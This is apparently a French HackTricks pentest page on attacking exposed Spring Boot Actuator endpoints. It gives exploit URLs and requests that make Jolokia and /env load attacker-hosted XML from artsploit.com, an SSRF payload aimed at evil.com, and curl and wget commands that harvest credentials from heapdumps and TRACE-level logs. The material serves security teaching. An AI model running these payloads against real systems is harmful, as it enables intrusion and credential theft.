Spring Actuators
Reading time: 7 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.
Spring Auth Bypass
.png)
Depuis https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png
Exploitation des Spring Boot Actuators
Consultez l'article original sur [https://www.veracode.com/blog/research/exploiting-spring-boot-actuators]
Points clés :
- Spring Boot Actuators register endpoints tels que
/health
,/trace
,/beans
,/env
, etc. Dans les versions 1 Ă 1.4, ces endpoints sont accessibles sans authentification. Ă partir de la version 1.5, seuls/health
et/info
sont non sensibles par défaut, mais les développeurs désactivent souvent cette sécurité. - Certains endpoints Actuator peuvent exposer des données sensibles ou permettre des actions dangereuses :
/dump
,/trace
,/logfile
,/shutdown
,/mappings
,/env
,/actuator/env
,/restart
, et/heapdump
.- Dans Spring Boot 1.x, les actuators sont enregistrés sous la racine URL, tandis que dans 2.x, ils se trouvent sous le chemin de base
/actuator/
.
Techniques d'exploitation :
- Remote Code Execution via '/jolokia':
- L'endpoint
/jolokia
expose la bibliothĂšque Jolokia, qui permet un accĂšs HTTP aux MBeans. - L'action
reloadByURL
peut ĂȘtre exploitĂ©e pour recharger des configurations de logging depuis une URL externe, ce qui peut conduire Ă un blind XXE ou Ă du Remote Code Execution via des configurations XML malicieuses. - Exemple d'URL d'exploit :
http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml
.
- Modification de la configuration via '/env':
- Si les Spring Cloud Libraries sont présentes, l'endpoint
/env
permet la modification des propriĂ©tĂ©s d'environnement. - Les propriĂ©tĂ©s peuvent ĂȘtre manipulĂ©es pour exploiter des vulnĂ©rabilitĂ©s, comme la vulnĂ©rabilitĂ© de dĂ©sĂ©rialisation XStream dans Eureka serviceURL.
- Exemple de requĂȘte POST d'exploitation :
POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 65
eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
- Autres paramĂštres utiles:
- Des propriétés comme
spring.datasource.tomcat.validationQuery
,spring.datasource.tomcat.url
, etspring.datasource.tomcat.max-active
peuvent ĂȘtre manipulĂ©es pour divers exploits, tels que des injections SQL ou la modification des chaĂźnes de connexion Ă la base de donnĂ©es.
Informations supplémentaires :
- Une liste complĂšte des actuators par dĂ©faut peut ĂȘtre trouvĂ©e ici.
- L'endpoint
/env
dans Spring Boot 2.x utilise le format JSON pour la modification des propriĂ©tĂ©s, mais le concept gĂ©nĂ©ral reste le mĂȘme.
Sujets liés :
- Env + H2 RCE:
- Détails sur l'exploitation de la combinaison de l'endpoint
/env
et de la base de données H2 disponibles ici.
- SSRF on Spring Boot Through Incorrect Pathname Interpretation:
- Le traitement par le framework Spring des matrix parameters (
;
) dans les pathnames HTTP peut ĂȘtre exploitĂ© pour Server-Side Request Forgery (SSRF). - Exemple de requĂȘte d'exploitation:
GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close
Extraction de secrets depuis HeapDump (credentials, tokens, internal URLs)
Si /actuator/heapdump
est exposé, vous pouvez généralement récupérer un snapshot complet du heap JVM qui contient fréquemment des secrets vivants (DB creds, API keys, Basic-Auth, internal service URLs, Spring property maps, etc.).
- Téléchargement et triage rapide :
wget http://target/actuator/heapdump -O heapdump
# Quick wins: look for HTTP auth and JDBC
strings -a heapdump | grep -nE 'Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client'
# Decode any Basic credentials you find
printf %s 'RXhhbXBsZUJhc2U2NEhlcmU=' | base64 -d
- Analyse approfondie avec VisualVM et OQL :
- Ouvrez le heapdump dans VisualVM, inspectez les instances de
java.lang.String
ou lancez des OQL pour chasser les secrets :
select s.toString()
from java.lang.String s
where /Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client|OriginTrackedMapPropertySource/i.test(s.toString())
- Extraction automatisée avec JDumpSpider :
java -jar JDumpSpider-*.jar heapdump
Découvertes typiques à haute valeur :
- Spring
DataSourceProperties
/HikariDataSource
objects exposanturl
,username
,password
. - Entrées
OriginTrackedMapPropertySource
révélantmanagement.endpoints.web.exposure.include
, ports de service et Basic-Auth intégré dans des URLs (par ex. EurekadefaultZone
). - Fragments de requĂȘtes/rĂ©ponses HTTP en clair incluant
Authorization: Basic ...
capturés en mémoire.
Conseils :
- Utilisez un wordlist orienté Spring pour découvrir rapidement les endpoints actuator (par ex. SecLists spring-boot.txt) et vérifiez toujours si
/actuator/logfile
,/actuator/httpexchanges
,/actuator/env
, et/actuator/configprops
sont aussi exposés. - Les credentials extraits d'un heapdump fonctionnent souvent pour des services adjacents et parfois pour des utilisateurs systÚme (SSH), testez-les largement.
Abuser des loggers/logging d'Actuator pour capturer des credentials
Si management.endpoints.web.exposure.include
le permet et que /actuator/loggers
est exposĂ©, vous pouvez augmenter dynamiquement les niveaux de log Ă DEBUG/TRACE pour des packages qui gĂšrent l'authentification et le traitement des requĂȘtes. CombinĂ© avec des logs lisibles (via /actuator/logfile
ou des chemins de logs connus), cela peut leak des credentials soumis pendant les flux de connexion (par ex. en-tĂȘtes Basic-Auth ou paramĂštres de formulaire).
- ĂnumĂ©rez et augmentez les loggers sensibles :
# List available loggers
curl -s http://target/actuator/loggers | jq .
# Enable very verbose logs for security/web stacks (adjust as needed)
curl -s -X POST http://target/actuator/loggers/org.springframework.security \
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
curl -s -X POST http://target/actuator/loggers/org.springframework.web \
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
curl -s -X POST http://target/actuator/loggers/org.springframework.cloud.gateway \
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
- Trouvez oĂč les logs sont Ă©crits et rĂ©coltez-les :
# If exposed, read from Actuator directly
curl -s http://target/actuator/logfile | strings | grep -nE 'Authorization:|username=|password='
# Otherwise, query env/config to locate file path
curl -s http://target/actuator/env | jq '.propertySources[].properties | to_entries[] | select(.key|test("^logging\\.(file|path)"))'
- DĂ©clenchez du trafic de login/authentification et parsez le log pour les creds. Dans des architectures microservices avec une gateway en frontal de l'auth, activer TRACE pour les packages gateway/security rend souvent visibles les headers et les bodies de formulaire. Certains environnements gĂ©nĂšrent mĂȘme du trafic de login synthĂ©tique pĂ©riodiquement, rendant la collecte triviale une fois le logging verbeux.
Notes :
- Réinitialisez les niveaux de log une fois terminé :
POST /actuator/loggers/<logger>
avec{ "configuredLevel": null }
. - Si
/actuator/httpexchanges
est exposĂ©, il peut aussi faire apparaĂźtre des mĂ©tadonnĂ©es de requĂȘtes rĂ©centes qui peuvent inclure des headers sensibles.
References
- Exploring Spring Boot Actuator Misconfigurations (Wiz)
- VisualVM
- JDumpSpider
- 0xdf â HTB Eureka (Actuator heapdump to creds, Gateway logging abuse)
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.